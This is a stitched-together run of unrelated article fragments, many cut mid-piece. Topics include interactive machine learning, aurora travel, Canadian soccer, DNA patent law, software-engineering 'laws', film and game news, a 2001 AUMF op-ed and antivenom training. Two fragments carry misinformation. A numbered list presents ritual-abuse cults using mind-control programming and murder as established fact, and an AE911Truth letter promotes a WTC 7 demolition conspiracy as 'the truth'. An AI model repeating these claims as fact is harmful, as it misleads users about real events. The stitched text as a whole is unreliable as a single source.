To escape this pattern we have to put the power to create classifiers directly in the hands of users. Now, no user wants to “create a classifier”. So, in order to give them this power we need to design interfaces that let them label samples, select features, and do all the other actions involved in a way that fits with their existing mental models and workflows.
When we figure out how to do this the results can be extremely powerful.
One of the most impressive experiments I’ve seen in Interactive Machine Learning is Saleema Amershi’s work on Facebook group invites, ReGroup: Interactive Machine Learning for On-Demand Group Creation in Social Networks.
The current Facebook event invite experience goes like this: you create a new event and go to invite friends. Facebook presents you with an alphabetical list of all of your hundreds of friends with a checkbox by each one. You look at this list in despair and then click the box to “invite all”. And hundreds of your friends get invites to events they’ll never be able to attend in a city where they don’t live.
The ReGroup system Amershi and her team put together improves on this dramatically. It starts you with the same list of names with checkboxes. But then when you check a name it treats that check as a positively labeled sample. And it treats any names you skipped as negatively labeled samples. It uses this data to train a classifier, treating profile data and social connections as the features. It computes a likelihood for each of your friends that you’ll check the box next to them and sorts the most likely ones to the top. The features that determine event revelance are relatively strong and simple — where people live, what social connections you have in common, how long ago you friended them etc. — the classifier’s results rapidly become useful.
This work is an incredibly elegant match between existing user interaction patterns and what’s needed to train a classifier.
Gazing up at the northern lights often appears on travelers’ bucket lists, but after next year, they’re going to be much more difficult to see.
No, the aurora borealis isn’t disappearing, but it is expected to appear less frequently over the next decade.
The northern lights take place on an 11-year solar cycle. Solar activity, including massive solar eruptions, can occur anytime and produce intense aurora, but those eruptions occur erratically and unpredictably. The 11-year cycle creates a period of frequency, but according to Peter Delamere, associate professor of space physics at the Geophysical Institute, we are at the beginning a downward leg of the cycle.
This means less frequent northern lights, an effect that will likely last until 2024 or even 2026. But lucky for you, 2015 and 2016 will still provide ample sky shows and there’s still time to see the aurora borealis in all its glory.
Here are some prime viewing spots around the world.
Aurora A-list
Norway
The aurora borealis over Tromsø. (Photo: iStock)
To strengthen your chances of seeing the aurora borealis, head north to aurora hot spots, aka places that see northern lights more than 250 nights a year — like Tromsø, Norway.
Tromsø is a charming city with good restaurants and lots of Airbnb rentals. Watch the light show from your window, or take one of the adventurous aurora-chasing snowmobile or bus tours.
1. Ritual abuse cults/groups can be both intergenerational and extra-familial
2. Child victims are forced into a group bonding process often with the cooperation of their family and forced to take vows and oaths of secrecy
3. Programming triggers are indoctrinated into survivors when they are children,
4. Victims are subjected to mind-control programming using hypnosis, mind-altering drugging, and the implantation of trigger messages to prevent them from disclosing their ritual abuse ordeals
5. Torture—long-term and repeated—pain, deprivation, death threats, harassment, and intimidation is used on young victims
6. Victims are forced to violate others
7. Survivors speak of the profits ritual abuse torturers earned from filming or videotaping the violence, from the forced prostitution of victims, and from drug trafficking
8. Active cult members continue to threaten and harm adult survivors in a multitude of ways in order to force them to remain silent, most are threatened with death should they disclose their ritual abuse, and many have seen those who threaten them murder others and thus their fears are justified
9. Perpetrators engage in organised efforts to discount the survivors disclosure of their ritual abuse-torture ordeals
10. All survivors tell of extreme difficulties in finding any useful therapeutic help
“We’ve already started (our bid) in a soft way,” Montagliani told the Toronto Sun before Christmas.
“We’ll find out more in January what this thing is going to look like. We have to make a decision thereafter from a CONCACAF perspective whether there will be three bids or joint bids or what it’s going to look like.”
On Wednesday, FIFA president Gianni Infantino told the Dubai International Sports Conference that World Cup ’26 almost certainly will be expanded to as many as 48 teams.
“I think it’s about time to move again,” said Infantino, who was flanked on stage by Montagliani. “I don’t know what the future will bring 20 years from now.
“For the time being, if we can have a full month, that doesn’t add an additional day or any additional matches, but brings so much joy … we have to think about it.”
BIRTH OF A LEAGUE
Prospective ownership groups in more than a dozen cities Canada-wide have shown interest in acquiring a Canadian Premier League club, the Toronto Sun has learned.
“We’ve been working on the business model,” Montagliani told the Sun. “These things take time. They’re not going to happen overnight.
“But we’ve also had expressions of interest from a significant amount of ownership groups across the country. We’re doing our due-diligence on that.”
“We should be in a position in the early part of 2017 to have letters of intent that are required to move forward with the business plan and the technical side with the league.”
While Montagliani still pegs 2018 as the desired start year for the CPL, he said the key is to first get the right model and the right people involved in setting up the league.
The start date could be pushed to 2019.
BYE-BYE, JOHNSON
Orlando City confirmed Wednesday they’ve signed free agent Will Johnson to a multi-year deal.
Despite logging important minutes for Toronto FC in 2016, Johnson saw his playing time taper late in the season, leaving him little choice but to explore free agency.
And now he’s reunited with head coach Jason Kreis, who coached Johnson while the pair were in Salt Lake City.
Amid a 2016 playoff run in which Johnson started just one game for Toronto, the Canadian midfielder said he expected to play a bigger role down the stretch.
Therefore, playing time was one of the first boxes he needed to tick in determining where to feature in 2017.
Johnson’s departure leaves the Reds with considerably less mettle in midfield while putting an immense amount of added pressure on Armando Cooper heading into his first full MLS season.
With both Michael Bradley and Cooper expected to log an enormous amount of international and MLS games next year, Johnson would have been an important piece to play big minutes.
Instead, those minutes might need to be supplemented by Benoit Cheyrou, Jay Chapman and Jonathan Osorio, all of whom are considerably different players.
We understand the Reds wanted Johnson back, but couldn’t compete with the offer Orlando presented the two-time MLS Cup champion.
ORDER OF BUSINESS
Expect Toronto FC head coach Greg Vanney to receive a contract extension in the early part of 2017.
Vanney is entering the final year of a three-year pact he agreed to at the end of 2014.
“Bill and I would work on that together,” TFC general manager Tim Bezbatchenko said.
“It will probably be after the holidays in the new year. I think it will be one of the first orders of business.”
After compiling a roster that reached MLS Cup in 2016, Bezbatchenko is awaiting a similar conversation with president Bill Manning and ownership.
“Whenever Bill decides he wants to sit down and talk, then obviously I’ll be ready to do so,” he said. “I’m happy (in Toronto) if that’s the direction they want to go.”
SWANS SACK BRADLEY
English Premier League side Swansea City went in a different direction this week, sacking ex-U.S. men’s national team coach Bob Bradley — the father of TFC captain Michael Bradley — after just 11 games (2-7-2)
Bradley passed on opportunities to manage in MLS prior to stints in Norway and France. He’ll have options, of course, but it remains to be seen where he’ll land.
There will be no shortage of job opportunities in the U.S. over the next five years — especially when you consider MLS announced plans to expand to 28 teams by 2020.
You have to wonder if Los Angeles FC — which enters MLS in 2018 — will ask Bradley if he’s interested in returning to south California, where he managed now-defunct Chivas USA in 2006.
LAST WORD
You have to wonder if Montagliani will put in a call to Bradley’s agent, Ron Waxman.
Sure, it’s a longshot. But, who knows, perhaps Bradley will agree coach Canada through the next World Cup qualifying cycle.
One pensioner was duped into buying two of the "pedigree" pets, but then became suspicious he had bought what Argentines call "Brazilian rats".
When he took the animals to a vet for their vaccinations he was told he had bought two ferrets that had been given steroids at birth to increase their size and then had some extra grooming to make their coats resemble a fluffy toy poodle.
Local television news in the capital, Buenos Aires, discovered that the unidentified man was not alone. Another woman had been told that she was buying a chiuhuahua, but ended up with a ferret.
Ferrets typically have brown, white or mixed fur and are around 51cm in length and weigh around three pounds. Toy poodles are around 25cm tall and weigh around four kilograms.
It would have been simple to distinguish the US supreme court’s decision on the basis that patent laws between the two countries differ: different legislatures, different statutes, different jurisdictions. Instead, the Australian full federal court took an unprecedented swipe at the US Supreme Court by suggesting that all nine justices of US supreme court had misunderstood the facts, the science and the law.
How did this happen?
To understand it, we have to go back to June 1988 when representatives of the European, Japanese and US patent offices came to an understanding about what to do with patents over DNA. It was less than two years after Genentech Inc had floated on the American stock market. Recombinant technology, invented by Professors Boyer and Cohen, enabled the production of pure human proteins using human sourced DNA. Patents granted over isolated human genetic material extracted from the human body, much like mining claims over alluvial gold, spurred a DNA gold rush.
Patent offices and patent attorneys and their customers, patent monopolists, wanted to cash in. Patent monopolies provided the perfect means to maximise revenues.
It did not take long before the first patent cases over disputed territory came before the courts. In 1989 in Britain, the court of appeal held that DNA was a discovery of nature and invalidated Genentech’s patent claims to the isolated DNA of human tissue plasminogen activator, a naturally produced human protein.
The European Patent Office, which had already granted patents over isolated DNA, was shocked by the British rebuke. It took immediate action. By 1998 the European parliament passed the European biotechnology directive, ensuring that the European Patent Office’s approach was mandated as law throughout the EU.
In the US, the Patent Office which had implemented the tripartite patent policy was granting thousands of patents over isolated human DNA. The policy had become entrenched around the world. It was wrongly assumed to be consistent with US patent law. In 1980 the US supreme court held that “anything under the sun made by man” was patentable, upholding a patent application to genetically modified bacteria that degraded crude oil.
By 2005 over 20% of the human genome was the subject of US patents.
Then in March 2010, the first shockwave hit the global biotechnology industry. A US district court judge held the patent claims over isolated BRCA genetic mutations invalid. They were not inventions. An appeal to the US federal circuit soothed fragile nerves. Then, a second US federal circuit appeal seemed to settle the issue. However, the US supreme court overruled it.
The US Supreme Court held that the isolation of DNA from a human being does not result in something that displays “markedly different characteristics from any found in nature”. It is not the same as a genetically modified bacteria that degrades crude oil. While that bacteria is the product of human ingenuity, the isolated BRCA gene mutations are not.
Since then, the US Supreme Court has been savaged by the patent monopolists. The US Patent Office, which has issued new patent examiner guidelines consistent with the decision, has been vilified.
Patents over human DNA, a material that nobody invented, will, as the US justices’, warn: “impede the flow of information that might permit, indeed, spur, invention.”
The Australian judges, in contrast, argue that: “This case is not about the wisdom of the patent system ... It is not about whether, for policy or moral or social reasons, patents for gene sequences should be excluded from patentability.”
Americans are now free to use DNA to develop new products. Australians are not. Neither are Europeans.
Which is the more desirable policy outcome?
I believe the US supreme court got it exactly right.
Labour leader Jeremy Corbyn is to speak at the Durham Miner's Gala for the second year running, with organisers hoping he will do so as prime minister.
In 2016 rebel Labour MPs who called for Mr Corbyn to quit were denied access to the platform of the traditional gathering known as the "Big Meeting".
The gala, which is in its 133rd year, is one of the largest trade union gatherings in Europe.
Mr Corbyn's speech last year was the first by a Labour leader since 2012.
The event features banners, brass bands marching through Durham City, speeches and a huge funfair.
Alan Cummings, secretary of the Durham Miners' Association, said: "Jeremy has spoken at the gala on numerous occasions over the years as a backbench MP, a Labour leadership candidate and as Labour leader.
"This summer we hope he will address the gala as Labour prime minister.
"Jeremy has described the Big Meeting as the greatest demonstration of working class culture in Britain, and we are very pleased that once again he has accepted our invitation to speak."
I’ve found a very complete list of the laws regarding software development (I highly recommend reading that link. I’ll wait, go ahead). But from that list, we seem to have developed a complete blind spot for five in particular. Let’s look at these five and how our collective ignorance of them continues to impact software development today:
Gene Amdahl first published this notion in a 1967 paper. This law is about the mistaken notion that “All We Need Are More Parallel Processors and Our Software Will Run Faster”.
The Damning Evidence: Pop quiz: have you bought a new machine in the past 4 years that was multi-core? Were you a little disappointed when you checked the processor usage and found that not every one of those shiny, new cores was busy all the time, no matter which of your apps you ran?
We buy new hardware with the mistaken impression that our old programs will continue to run even faster than before because we expect our software to take advantage of all those friggin cores! But software never runs as fast we expect it to on the multi-core hardware, because the parallel component of the program is often missing, underdeveloped, or poorly understood by the developer. Thus, our software continues to disappoint us on even on shiny, new multi-core hardware.
Exceptions: Some applications have been expressly written to be massively parallel and they continue to kick ass and take names on new multi-core hardware (e.g. rendering, scientific and encoding applications). By and large, most applications simply don’t benefit from those extra cores because they weren’t written to do so.
Law #2: The Law of False Alerts
First introduced by George Spafford in this article, the law states that the more the user is presented with false or erroneous alerts, the more they will ignore real alerts in the system.
The Damning Evidence: Windows Vista is the classic current example. Every bloody operation in it required your permission from the user authentication module. After while, you just madly clicked “Yeah, sure whatever…” for every warning that popped up. This, of course, robs the operating system of any ability to protect you from a real threat because you’ve been annoyed by the feature in the first place.
Of course, people still design applications like this:
“Are you sure you want to delete?”
“No, really, are you REALLY sure you want to delete?”.
“OK, look, I’ve asked already but just so I can’t be blamed for anything, are you SUPER-DUPER-ABSOLUTELY, 110% sure you want to delete?”
Stop the insanity. If they click delete and they weren’t supposed to, how about offering an undo operation? Too hard you say? Then you’re not trying hard enough. Don’t punish the users for bad design.
From Jakob Nielsen, web usability guru, who states that users only spend a small fraction of time on your site, compared to all other sites. Therefore, your site experience should be similar to all other sites to minimize learning curve and maximize usability.
The Damning Evidence: Well, things like Firefox Personas aside, which distract your users from the actual content of the sites, we still can’t seem to come up with a consistent way to develop user interfaces on sites. Thanks to Web 2.0, everyone is now trying to copy the success of sites like Facebook, Twitter, and other social networks to create wild, experimental web pages that are just plain awful to use.
Don’t get me wrong here: I’m not saying different is bad, I’m saying that different is hard to get right. Users (especially “Normals”) don’t like to be made to think how to use things. But that doesn’t seem to stop us creating web pages with crazy stuff on them.
Exceptions: Sometimes, user interfaces are giant evolutionary steps that simply lie outside the normal boundaries we’ve come to expect and that’s acceptable. The iPhone was a perfect example: no one really had mastered the touch interface until Cupertino & Co came out with it and they didn’t exactly follow any of the old school rules. But it was still a major success and now sets the standard for all smartphones. However, most everyone else thinks they’re creating the exception when they’re just breaking the rules poorly.
Law #4: The Pesticide Paradox
Attributed to Bruce Beiser, the law states that every method you use to prevent or find bugs leaves a residue of subtler bugs against which those methods are ineffectual.
The Damning Evidence: Things like Test Driven Development and Unit Testing give us the false impression that we’ve quashed the major bugs in the system when all we’ve really done is quash the obvious bugs, leaving the more subtle, painful, and difficult ones behind. Many of these types of bugs are related to concurrency or particular complex data conditions that are difficult to express as unit tests.
Before anyone rants about this comment section claiming I think TDD is bad, or unit testing is evil, please hear me correctly: Unit testing and TDD leave a false sense of security that we’ve managed to create stable software. They are a starting point to more complete testing, but they are not the end. The meaningful problems are often in integration with other systems and modules, that are often left out of testing plans because of time constraints, schedule pressures, laziness and sometimes plain arrogance.
Exceptions: Small, simpler systems rarely suffer from these issues because testing is much easier. This is mostly a complex software problem, at a level of enterprise development, large applications (e.g. Microsoft Word), or operating systems.
While this law stems from genetic research by R.A. Fisher, the application in software is somewhat obvious: The more highly adapted an organism becomes, the less adaptable it is to any new change.
The Damning Evidence: We strive to create complex, interesting, and highly useful frameworks: Hibernate, Struts, Flex, ExtJS, and jQuery to name a few. But every version we release generates new requests by the users for missing features or enhancements. Each change adds more complexity. And the more complex the software, the lower the chance those changes can be easily accommodated in subsequent versions.
For example, Struts went through a major rewrite for version 2.0, which speaks volumes about the original version’s adaptability to change. Spring did a major update for AOP that was a breaking change from 1.0. ExtJS did the same for their 1.0 and 2.0 releases.
Anderson, Tilda Swinton and Jason Schwartzman are taking “The Grand Budapest Hotel” on a week-long tour aboard the Queen Mary 2. The trio and Roman Coppola, who headed the film’s special photography unit, will be sailing across the Atlantic from New York to England beginning June 13.
The group, who has collaborated on several films, including “Moonrise Kingdom,” will participate in a Q&A session with the passengers on Cunard Line’s flagship. “Grand Budapest Hotel” will also be screened during the transatlantic trip.
The dramedy is the director’s highest grossing pic do date. It’s earned almost $133 worldwide since its release in March.
Demonstrators take part in a march to mark the first anniversary of the disappearance of the 43 students from Mexico's Ayotzinapa College Raul Isidro Burgos, in Mexico City, September 26, 2015. REUTERS/Henry Romero
Salvador Cienfuegos, who is also Mexico’s defense minister, told local television late on Monday that none of his troops took part in the attack on the trainee teachers in the southwestern city of Iguala in September last year.
The incident shocked the world and created a serious political storm for Mexican President Enrique Pena Nieto.
In the months after the incident, the government sought to wrap up its investigation, saying a corrupt cadre of local police, in cahoots with a drug gang, confused the students for a rival gang. The government says they rounded them up and burned them on a pyre in the nearby town of Cocula.
However, a panel of respected international investigators last month rejected the official account, pointing to suspicions of forced confessions and possible collusion by federal and state security forces, including the army.
“I can’t permit them to interrogate my soldiers, who at this point haven’t committed a single crime,” Cienfuegos said.
He denied his troops were involved and said nearly 50 of his soldiers had already been interviewed by the attorney general’s office, some up to four times.
He also said investigators from the attorney general’s office, as well as members of Mexico’s human rights commission, had inspected the barracks in Iguala, without finding any evidence to support the army’s involvement.
The international panel of experts had no legal grounds to interrogate Mexican soldiers, he said, as the army is only beholden to Mexican criminal investigative agencies.
The army has been a central pillar of Mexico’s long-running war against drug gangs. Well over 100,000 people have been killed since former President Felipe Calderon sent in troops to defeat the gangs in 2007. But the military has also been accused of various rights abuses.
“I remember some of the darkest days trying to figure out who I was and who was going to accept me and who was going to love me the way I was,” recalls Nikolas Walker, who says YouTube became one of his primary resources as he began to consider his transition from female to male. “YouTube and the Internet was always something I could turn to.”
The most recent National Transgender Discrimination survey finds that 90 percent of the respondents that identified as transgender or non-conforming reported harassment or other mistreatment in the workplace. The survey points out that 55 percent of respondents claim to live with social anxiety, the number drastically increasing for people of color.
But some say this online community offers a false sense of security. While the Internet has allowed many of these twenty-somethings to find a safe space that they often can’t find in their communities, they too fear being harassed anonymously through online comments.
“Although people attack you, other people are standing up for you right behind them,” explains Aydian Dowling, who is no stranger to the onslaught of online user comments. “Somebody will say, ‘Oh, you’re just a girl wearing guy pants, you’ll never be a man.’ And then I have five people underneath that comment that are like, ‘How dare you talk about this person… This person is making changes better for their life, why don’t you do the same.’”
For some, it’s cathartic; for others it’s a way to educate the curious minds of thousands of their viewers. But at the end of the day, it’s a treasure chest full of memories that visually shows their physical transformation into the person they’ve always felt they were.
In a new interview, Christopher McQuarrie, who wrote Edge of Tomorrow as well as The Usual Suspects and just directed Mission: Impossible - Rogue Nation, confirmed the previous story that Tom Cruise has an idea for a sequel. More important than that, he thinks if the sequel gets made (and that’s a big “if”) he knows how he can get more audiences to see it. By making it easier for Warner Bros. to sell to audiences:
What I’ve learned, having made Mission, is what I would write into the movie to make that movie an easier sell. Edge of Tomorrow was incredibly difficult to market. From the look of the film…To the title of the film, whatever the title was, whether it was All You Need is Kill or Edge of Tomorrow — and God help us figuring out what the title of the sequel is. The Edge of the Day After Tomorrow? I don’t know. But the humor in the film took a good 35 minutes to really dawn on you – the movie really sneaks up on you and takes this sudden left turn. The movie didn’t have the moments that a trailer needs to tell you, “This is the experience you’re going to have.”
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It’s true. Watch the trailers for that film (conveniently embedded below) and the movie looks like the film that made it into theaters, but doesn’t convey its tone or personality. Plus, there really aren’t huge visual moments to sell. It’s all sort of similar. So, what McQuarrie is saying is if they make a sequel, he’d put more of that in there to make it easier for the studio to make a good trailer or poster.
Need an example? Well in the same interview with Uproxx, McQuarrie explains that the scene in Mission: Impossible - Rogue Nation with Cruise on the side of the plane was pretty much conceived to be used in trailers and posters. A scene that says, “This is what you have in store.”
To be fair though, he seems pretty skeptical about the sequel happening at all:
It all comes down to Warner Bros. and Doug Liman and Emily Blunt saying yes. The idea is there. At worst, it’s the kernel of an idea – which is, on one hand, great, but on the other hand, I know what a nightmare that is. I know that I’ll be in the void trying to figure that out.
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Here are those trailers.
We have some good news and some bad news to share about our 13th Anniversary ReThink911 billboard, but don't worry! We think the good news far outweighs the bad.
The bad news — unfortunately, we cannot go forward with the billboard directly in front of the New York Times Building. The group currently occupying it has a year-long contract. While they had agreed with the billboard company to take a break for the month of September so that we could have the space, the agreement allowed them to change their mind until the last minute, and unfortunately they exercised that option.
The good news — (and we think it's really good!) – is that we found an even more stunning billboard just one block away at the corner of 42nd Street and 8th Avenue. Not only does this billboard draw maximum attention by facing in two directions while towering over one of the busiest intersections in Manhattan; but it’s also digital, which allows us to show practically life-size video footage of WTC 7’s symmetrical destruction. And that’s exactly what we plan to do!
For 15 seconds out of every two minutes, people walking by will see WTC 7’s free-fall descent — the vast majority of them for the first time — on two massive 45’ by 45’ screens. Altogether, we’ll reach 100,000 people each day, amounting to 3 million viewings from September 8th to October 5th! The message will be simple and powerful, encouraging viewers to trust their instincts about WTC 7’s smooth, symmetrical downward motion — and follow up at ReThink911.org
Even though we will no longer be speaking directly to the folks at the New York Times, most Times employees will see the ad on a daily basis, thus making it impossible for them to ignore the truth about what happened at the World Trade Center on 9/11. The upside, of course, is that millions of people will be treated to a high-impact viewing experience of the truth about the third skyscraper destroyed on 9/11.
Once again, we would like to thank everyone who contributed toward the 13th Anniversary ReThink911 Billboard. We are disappointed, of course, that circumstances beyond our control did not allow us to follow through on the original plan. We hope, nonetheless, that you are as pleased as we are about the opportunity to show WTC 7 on enormous screens right in the heart of midtown Manhattan.
Stay tuned for the unveiling of the ad later this week!
Sincerely,
The AE911Truth Team
Morning commuters traveling to New York pack into a PATH train in Hoboken, New Jersey, December 28, 2010. REUTERS/Gary Hershorn
The Harris Interactive poll commissioned by The Workforce Institute also revealed that 48 percent of people said commuting has a significant impact on their job satisfaction and 32 percent considered the commute when they chose their current job.
“Where possible, putting policies in place to allow employees to travel during non-peak hours or work from home can increase employee satisfaction, without a negative impact on the bottom line,” Joyce Maroney, the director of the institute, a think tank established by the workforce management solution company Kronos Inc, said is a statement.
Eighty three percent of workers questioned in the survey said they drove to work alone and nine percent used a carpool.
Only 11 percent of workers opted for mass transit, 10 percent said they walked to work and some people used more than one mode of transport to commute.
Fifteen percent of people who took part in the online survey said they would change jobs for a shorter commute and 11 percent said the time spent commuting had a negative impact on their life-work balance.
“Managers should be mindful of the time their employees spend commuting as our survey shows it has a significant impact on job satisfaction,” said Maroney.
One-third of workers said their round-trip commute was between 30 minutes and an hour, while 16 percent spent between one and two hours getting back and forth to work.
Nearly everyone had a nightmare, or worst commute ever story, with seven percent saying it had taken five hours or more, and another 30 percent spending more than two hours.
About three-quarters of people listen to music while commuting, 22 percent enjoy quiet time and 18 percent talk on the phone. Only seven percent read a book or magazine and four percent do some work.
Only six percent of workers are paid for the time they spent commuting and just 14 percent of adults who commute have the option of working from home. But 27 percent of people who don’t have that option said that if they were given the technology they think they could work effectively from home.
The act authorizes the president to use "all necessary and appropriate force against those nations, organizations or persons he determines planned, authorized, committed, or aided" the Sept. 11 attacks. The Bush and Obama administrations have relied on this authority to wage the ground war in Afghanistan; to exert lethal force (including drone strikes) against al-Qaeda leaders in Pakistan, Yemen and Somalia; and to detain suspected al-Qaeda and Taliban members in Guantanamo Bay, Cuba, and Afghanistan.
As U.S. forces continue to target terrorist leaders outside Afghanistan, it is increasingly unclear whether these terrorists, even if they are planning attacks against U.S. targets, are the same individuals, or even part of the same organization, behind the Sept. 11 attacks. Moreover, no law, including this act, contains specific provisions for killing terrorists who are U.S. citizens and who enjoy at least some constitutional rights, such as the Yemen-based radical cleric Anwar al-Aulaqi, whose purported targeting is the subject of a lawsuit brought by civil liberties groups.
Nor does the 2001 legislation include explicit authority for detention. Federal courts (and even civil liberties groups) have accepted that the authority to use "all necessary and appropriate force" includes the authority to detain, but the statute does not specify who may be detained, for how long or what review procedures may be used. Instead, Congress and the executive branch have left it to a small group of overworked federal judges to legislate the details piecemeal in the context of individual habeas corpus petitions.
The Obama administration has aggravated the legal shortcomings of the act by insisting that, unlike the Bush administration, it is relying only on the congressional grant of authority and not on any inherent constitutional powers of the president. Given the Bush administration's excessive assertions of executive authority, the Obama administration's dependence on the legislation alone is politically understandable. But it is legally risky. Should our military or intelligence agencies wish to target or detain a terrorist who is not part of al-Qaeda, they would lack the legal authority to do so, unless the administration expands (and the federal courts uphold) its legal justification.
For at least five years, lawyers in and outside the Bush and Obama administrations have recognized the need to replace this act with a clearer law. The Bush administration chose not to seek an update because it did not want to work with the legislative branch. Last year, President Obama announced his intention to work with Congress to enact a new detention law "consistent with our values and our Constitution." But he has backed away from this plan in deference to civil liberties groups that hope to end detention outside a criminal law framework, not to legitimize it through a more specific congressional authorization.
Civil liberties groups' opposition to a new detention law is unrealistic and shortsighted. The Obama administration has made clear that it intends to hold 50 to 100 Guantanamo detainees potentially indefinitely without criminal trial, a number that may grow given that a federal jury in New York acquitted Ahmed Ghailani this month of 284 of the 285 charges against him. While every detainee has the right to bring a habeas corpus challenge to his continued detention, once a federal judge determines that an individual has been properly detained under the AUMF (as judges have already done in 19 cases), the detainee may have no further legal right to challenge his detention for the rest of his life.
Nearly 10 years after the Sept. 11 attacks, the Obama administration, congressional Republicans and Democrats, and civil liberties groups all have an interest in updating this aging legislation. Republicans should be willing to help the president ensure that combatant commanders and intelligence agencies have ample legal authority to kill or capture terrorists who threaten the United States today. Many Republicans also want to give clearer statutory direction to federal judges regarding who may be detained and for how long. For their part, civil liberties groups and their Democratic supporters in Congress can insist that terrorist suspects who are U.S. nationals receive additional protections before being targeted and that persons detained now or in the future under the laws of war have a right to adequate administrative or judicial review. Congress can and should pass compromise legislation that balances all of these concerns.
The Xbox One X patch, which weighs in at approximately 550 MB, brings the game to version 1.60. It adds two new visual options to The Witcher 3’s display settings: 4K Mode and Performance Mode. The former delivers “stable 30fps gameplay,” said CD Projekt Red, at what appears to be native 4K resolution. The latter option runs the game at up to 60 fps, and scales the resolution dynamically between 1080p and 4K in an effort to meet that frame rate target.
Interestingly enough, there was one way to get The Witcher 3 to run at 60 fps on an Xbox One X before today. The game shipped with an unlocked frame rate, so the increased horsepower of the Xbox One X could run an unpatched disc copy at 60 fps.
In addition to the visual modes, the v1.60 patch provides improvements to image quality for Xbox One X users: higher-resolution textures, as well as better texture filtering, ambient occlusion and shadows. CD Projekt Red’s patch notes do not mention the Xbox One S, so we’ve checked in with the studio to ask whether The Witcher 3’s new HDR functionality also works on that console.
CD Projekt Red did say that a patch to add HDR on PS4 Pro “will soon be released.” (There’s also no word on whether that upcoming update will enable HDR on other PS4 models, since all of them support HDR.) The studio patched the PS4 version of The Witcher 3 in early October to add support for the PS4 Pro, which enabled 4K resolution via checkerboard rendering on that console.
I checked out both of The Witcher 3’s new visual modes on Xbox One X, and can report that they’re impressive. The game looks terrific in 4K Mode, with clear definition on foliage in the environment and on Geralt’s character model, including his flowing locks and the wolf pendant on his necklace. The frame rate held up just fine during a battle with two sirens on Ard Skellig, although when I tried a stress test — the infamous Crookback Bog — I did encounter some slowdown below 30 fps.
Your mileage may vary, but I think I’ll end up sticking with Performance Mode. Being able to gallop around and slay monsters at close to 60 fps is a revelatory experience, even if the frame rate does vary more than in 4K Mode. Combat in The Witcher series is always an idiosyncratic exercise, but it feels way better in Performance Mode than at The Witcher 3’s typical locked 30 fps.
As you can see in the full-resolution screenshots I captured, the game’s interface is drawn at 4K regardless of the visual mode, so on-screen text (including subtitles) is sharp and clear even when the game itself is only running at 1080p. It’s worth noting that the frame rate boost of Performance Mode doesn’t seem to apply to the world map, which exhibited frequent stuttering as I panned across it.
I also noticed an odd bug with the Xbox One X visual modes in The Witcher 3’s options menu. The mode setting exists in the Advanced section of the display settings, and the only option there is to choose between the 4K and Performance modes.
The default is 4K Mode, and when I tried to change it to Performance Mode, the setting didn’t appear to take: If I backed out to the main pause menu and then went back into Advanced under the display options, it would appear that the setting had reverted to 4K Mode. Here’s a clip:
That wasn’t actually the case, though. The setting was indeed changing — when I selected Performance Mode and unpaused the game, I saw the expected reduction in resolution and increase in frame rate. However, the options menu was telling me otherwise, which was very confusing. (To switch back to 4K Mode, I had to flip the incorrectly displayed setting to Performance Mode and then right back, and then resume the game.)
We’ve asked CD Projekt Red if it’s aware of this issue, and we’ll update this article with any information we receive. For more on the Xbox One X, read our review.
Update (Dec. 21): A representative for CD Projekt Red confirmed the Xbox One X settings bug that Polygon discovered, saying that the studio is “working on fixing this toggle issue present in Advanced display settings.”
So it was big news when Sanofi Pasteur ceased production of Fav-Afrique, probably the most important antivenom used in Sub-Saharan Africa, due to its being unprofitable to produce. News of the crisis grew more urgent when they later announced that supplies would soon run out. Africa became increasingly desperate for a solution to its snakebite problem.
Understanding the Problem, and Solving It
Without a doubt, the hardest part of solving the snakebite problem in Africa is the fact that it isn’t just one problem; it’s a collection of problems:
Antivenom is the definitive treatment for snake envenomation, but the areas with the worst snakebite problems have continual shortages.
When antivenom is not available, medical professionals may not be trained to use it. If snakebite victims do not expect antivenom to be available, they often won’t go to a hospital for treatment, but resort to traditional remedies, which fail to help or make things worse.
Where the right antivenom is available, it usually costs more than people can pay.
Making antivenom cost-effective means making a lot of it, and you can’t make a lot if nobody is buying it.
All of these problems interact with each other, so the real challenge is addressing all of them, all at the same time, which means:
Antivenom manufacturers have to made high-quality antivenom, against the right species, in huge quantities.
Someone needs to buy that antivenom and get it to hospitals where it’s needed.
Medical professionals need to be trained to use it.
Snakebite victims need to go to the hospital to get antivenom.
Addressing all of these problems in parallel appears intimidating, but it’s been done. Success stories in countries like Mexico and Burkina Faso have demonstrated that it’s possible.
La Société Africaine de Venimologie (the African Society of Venimology, “ASV”) is an association of African physicians and experts in related fields around the world, who specialize in the treatment of snakebite and train healthcare professionals throughout Africa to do the same. Last summer, Dr. Leslie Boyer and I began a project in cooperation with ASV to produce a series of videos to help them deliver training to doctors and nurses throughout the continent. We’re fortunate to be working with many of the most respected experts in the field, including Dr. Jean-Philippe Chippaux and Dr. Alejandro Alagón, whom many readers will know of in connection with their work related to venom, snakebite treatment and antivenom production.
The training modules will be available in French, Spanish and English, with versions subtitled in all three languages. They will cover general topics, like public health, sourcing and policy, as well as specific clinical topics like patient assessment, administering antivenom, symptomatic management, and post-hospital follow-up care. There will also be modules on the medically important snakes of Africa and the manufacturing of antivenom. We hope to release one module each month (maybe two, if we can work that quickly!), from now through this coming summer.
The modules will be distributed online (first on Vimeo, and then later on YouTube), and they will be available free to everyone in the world.
Preview: “Snakebite and Treatment in Sub-Saharan Africa”
Direct links to all languages
Darsh Patel, a Rutgers University student, and four others were being followed by the black bear in the West Milford Apshawa preserve, New Jersey. But moments after Patel used his mobile phone to capture images of the animal, it attacked and killed him, New York Daily News reported Tuesday.
The five friends had been hiking Sep 21 when they met at the preserve's entrance a man and a woman who advised them to turn around as a bear was on the loose, authorities said.
But the group went on, and Patel took photos from a distance of about 100 feet. Another hiker took one photo.
The group turned and began walking away, but the bear followed, police said. When it got within about 15 feet, the five split up and took off running. Four of them escaped and made a 911 emergency call.
Patel was last seen climbing a rock with the bear close behind. He screamed for the others to keep going. Rescuers found the body two hours later.
First pitch is scheduled for 1 p.m. Saturday and is free to attend for Titans fans. The teams will play a nine-inning game followed by three or four innings of situations.
The Titans are scheduled to pitch the following, in no particular order: Tyler Peitzemeier, Chad Hockin, Connor Seabold, Henry Omana, John Gavin, Max Gibbs, Willie Kuhl, Miles Chambers, and Kyle Murray.
In 2014, Peitzmeier made 23 appearances and posted a 2.40 ERA with 15 strikeouts in 15 innings pitched. Entering his senior season with the Titans, Peitzmeier has made 67 appearances and has amassed a 4-0 record with a 1.63 ERA. He's pitched 66 and 1/3 innings and fanned 54 batters with 18 walks.
